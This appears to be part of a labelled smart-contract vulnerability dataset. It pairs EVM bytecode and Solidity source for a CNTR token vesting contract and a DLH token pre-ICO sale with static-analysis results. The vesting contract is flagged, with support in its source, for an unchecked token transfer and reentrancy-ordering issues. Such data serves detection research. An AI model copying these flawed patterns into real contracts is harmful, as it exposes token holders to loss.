00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610de6578082015181840152602081019050610dcb565b50505050905090810190601f168015610e135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610e2d57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220bb688a85649a246f300fb58f60e6af168899bef9607833f0ccd4631069de368364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
37
0x1273C54Cc3A7d5320B210437906eDA3ea1AA1a36
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
38
0x0114289efe38186b732d12c07a1ce4341e266513
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintBurnableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract DLH is MintBurnableToken { string public constant name = "Depositor-investor L&H"; string public constant symbol = "DLH"; uint8 public constant decimals = 18; } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } } contract Stateful { enum State { Private, PreSale, sellIsOver } State public state = State.Private; event StateChanged(State oldState, State newState); function setState(State newState) internal { State oldState = state; state = newState; StateChanged(oldState, newState); } } contract PreICO is ReentrancyGuard, Ownable, Stateful { using SafeMath for uint256; DLH public token; address public wallet; uint256 public startPreICOTime; uint256 public endPreICOTime; // how many token units a buyer gets per cent uint256 public rate; // uint256 public priceUSD; // wei in one USD // amount of raised money in wei uint256 public centRaised; uint256 public minimumInvest; uint256 public softCapPreSale; // IN USD CENT uint256 public hardCapPreSale; // IN USD CENT uint256 public hardCapPrivate; // IN USD CENT address public oracle; address public manager; // investors => amount of money mapping(address => uint) public balances; mapping(address => uint) public balancesInCent; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function PreICO( address _wallet, address _token, uint256 _priceUSD, uint256 _minimumInvest) public { require(_priceUSD != 0); require(_wallet != address(0)); require(_token != address(0)); priceUSD = _priceUSD; rate = 250000000000000000; // 0.25 * 1 ether per one cent wallet = _wallet; token = DLH(_token); hardCapPrivate = 40000000; minimumInvest = _minimumInvest; // in cents } modifier saleIsOn() { bool withinPeriod = now >= startPreICOTime && now <= endPreICOTime; require(withinPeriod && state == State.PreSale || state == State.Private); _; } modifier isUnderHardCap() { bool underHardCap; if (state == State.Private){ underHardCap = centRaised < hardCapPrivate; } else { underHardCap = centRaised < hardCapPreSale; } require(underHardCap); _; } modifier onlyOracle(){ require(msg.sender == oracle); _; } modifier onlyOwnerOrManager(){ require(msg.sender == manager || msg.sender == owner); _; } function hasEnded() public view returns (bool) { return now > endPreICOTime; } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 centValue) internal view returns(uint256) { return centValue.mul(rate); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds(uint256 value) internal { wallet.transfer(value); } function startPreSale(uint256 _softCapPreSale, uint256 _hardCapPreSale, uint256 period, uint256 _start) public onlyOwner { startPreICOTime = _start; endPreICOTime = startPreICOTime.add(period * 1 days); softCapPreSale = _softCapPreSale; hardCapPreSale = _hardCapPreSale; setState(State.PreSale); } function finishPreSale() public onlyOwner { require(centRaised > softCapPreSale); setState(State.sellIsOver); token.transferOwnership(owner); forwardFunds(this.balance); } function setOracle(address _oracle) public onlyOwner { require(_oracle != address(0)); oracle = _oracle; } // set manager&#39;s address function setManager(address _manager) public onlyOwner { require(_manager != address(0)); manager = _manager; } //set new rate function changePriceUSD(uint256 _priceUSD) public onlyOracle { require(_priceUSD != 0); priceUSD = _priceUSD; } modifier refundAllowed() { require(state != State.Private && centRaised < softCapPreSale && now > endPreICOTime); _; } function refund() public refundAllowed nonReentrant { uint valueToReturn = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(valueToReturn); } function manualTransfer(address _to, uint _valueUSD) public saleIsOn isUnderHardCap onlyOwnerOrManager { uint256 centValue = _valueUSD.mul(100); uint256 tokensAmount = getTokenAmount(centValue); centRaised = centRaised.add(centValue); token.mint(_to, tokensAmount); balancesInCent[_to] = balancesInCent[_to].add(centValue); } function buyTokens(address beneficiary) saleIsOn isUnderHardCap nonReentrant public payable { require(beneficiary != address(0) && msg.value.div(priceUSD) >= minimumInvest); uint256 weiAmount = msg.value; uint256 centValue = weiAmount.div(priceUSD); uint256 tokens = getTokenAmount(centValue); centRaised = centRaised.add(centValue); token.mint(beneficiary, tokens); balances[msg.sender] = balances[msg.sender].add(weiAmount); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); if (centRaised > softCapPreSale || state == State.Private) { forwardFunds(weiAmount); } } function () external payable { buyTokens(msg.sender); } }
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308d4073d1461016a57806327e235e3146101a85780632c4e722e146101f5578063328c0ec01461021e57806334358c011461024757806339885b2314610294578063481c6a75146102a9578063521eb273146102fe578063590e1ae3146103535780636857cb06146103685780637adbf973146103aa5780637dc0d1d0146103e3578063867f990a146104385780638da5cb5b1461045b57806391ac46f5146104b057806393a408d7146104d957806397912c2f14610502578063b10ed4871461052b578063b3113d3f14610554578063c19d93fb1461057d578063d0ebdbe7146105b4578063eb2ff2d2146105ed578063ec8ac4d814610616578063ecb70fb714610644578063f2fde38b14610671578063f7e4a4a9146106aa578063fc0c546a146106d3575b61016833610728565b005b341561017557600080fd5b6101a66004808035906020019091908035906020019091908035906020019091908035906020019091905050610b1d565b005b34156101b357600080fd5b6101df600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bbe565b6040518082815260200191505060405180910390f35b341561020057600080fd5b610208610bd6565b6040518082815260200191505060405180910390f35b341561022957600080fd5b610231610bdc565b6040518082815260200191505060405180910390f35b341561025257600080fd5b61027e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610be2565b6040518082815260200191505060405180910390f35b341561029f57600080fd5b6102a7610bfa565b005b34156102b457600080fd5b6102bc610d82565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561030957600080fd5b610311610da8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035e57600080fd5b610366610dce565b005b341561037357600080fd5b6103a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f39565b005b34156103b557600080fd5b6103e1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061127d565b005b34156103ee57600080fd5b6103f6611359565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044357600080fd5b610459600480803590602001909190505061137f565b005b341561046657600080fd5b61046e6113f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104bb57600080fd5b6104c361141b565b6040518082815260200191505060405180910390f35b34156104e457600080fd5b6104ec611421565b6040518082815260200191505060405180910390f35b341561050d57600080fd5b610515611427565b6040518082815260200191505060405180910390f35b341561053657600080fd5b61053e61142d565b6040518082815260200191505060405180910390f35b341561055f57600080fd5b610567611433565b6040518082815260200191505060405180910390f35b341561058857600080fd5b610590611439565b604051808260028111156105a057fe5b60ff16815260200191505060405180910390f35b34156105bf57600080fd5b6105eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061144c565b005b34156105f857600080fd5b610600611528565b6040518082815260200191505060405180910390f35b610642600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610728565b005b341561064f57600080fd5b61065761152e565b604051808215151515815260200191505060405180910390f35b341561067c57600080fd5b6106a8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061153a565b005b34156106b557600080fd5b6106bd611692565b6040518082815260200191505060405180910390f35b34156106de57600080fd5b6106e6611698565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600080600354421015801561074257506004544211155b905080801561077657506001600281111561075957fe5b600060159054906101000a900460ff16600281111561077457fe5b145b806107a657506000600281111561078957fe5b600060159054906101000a900460ff1660028111156107a457fe5b145b15156107b157600080fd5b60008060028111156107bf57fe5b600060159054906101000a900460ff1660028111156107da57fe5b14156107ee57600b546007541090506107f8565b600a546007541090505b80151561080457600080fd5b6000809054906101000a900460ff1615151561081f57600080fd5b60016000806101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561088c5750600854610889600654346116be90919063ffffffff16565b10155b151561089757600080fd5b3494506108af600654866116be90919063ffffffff16565b93506108ba846116d9565b92506108d1846007546116f790919063ffffffff16565b600781905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16